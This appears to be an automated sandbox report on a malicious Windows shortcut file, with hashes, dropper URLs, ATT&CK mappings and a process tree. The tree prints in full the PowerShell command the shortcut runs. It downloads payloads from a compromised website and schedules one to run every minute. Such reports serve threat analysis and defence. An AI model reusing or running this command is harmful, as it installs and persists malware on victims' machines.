215ff81b6f3a50e48d9f5acfb89f5ea3a1afd59dddbb0666f7ce97a922f60326

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
03/12/2024, 08:13

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General

Target

215ff81b6f3a50e48d9f5acfb89f5ea3a1afd59dddbb0666f7ce97a922f60326.lnk
Size

3KB
MD5

34ee898cb6c5ae305685129bd0b02ceb
SHA1

72c04950fa82ea474c945f31dc3e7a32635689ae
SHA256

215ff81b6f3a50e48d9f5acfb89f5ea3a1afd59dddbb0666f7ce97a922f60326
SHA512

7bf440741559ffffda909092e32329635eed5a5afd31316f58a4080f8855c57d9399f4b25d6535a490e5c28727586209e3ff7c44c4d2e947c837ab58272b976d

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2772	powershell.exe
6	2772	powershell.exe
7	2772	powershell.exe
8	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 2772	2008	cmd.exe	31
PID 2008 wrote to memory of 2772	2008	cmd.exe	31
PID 2008 wrote to memory of 2772	2008	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\215ff81b6f3a50e48d9f5acfb89f5ea3a1afd59dddbb0666f7ce97a922f60326.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $NcO7enPofW2RuhM1 = New-Object Net.WebClient; $cio = $NcO7enPofW2RuhM1.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $NcO7enPofW2RuhM1.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', '7Jb5KYoTpe8IWE.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('7Jb5KYoTpe8IWE.js ' * 2)) /tn 48dYPKZW1;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2772-46-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-45-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-44-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-43-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-42-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-41-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-40-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2772-39-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2772-38-0x000007FEF6EFE000-0x000007FEF6EFF000-memory.dmp

Filesize
4KB

Download
memory/2772-47-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download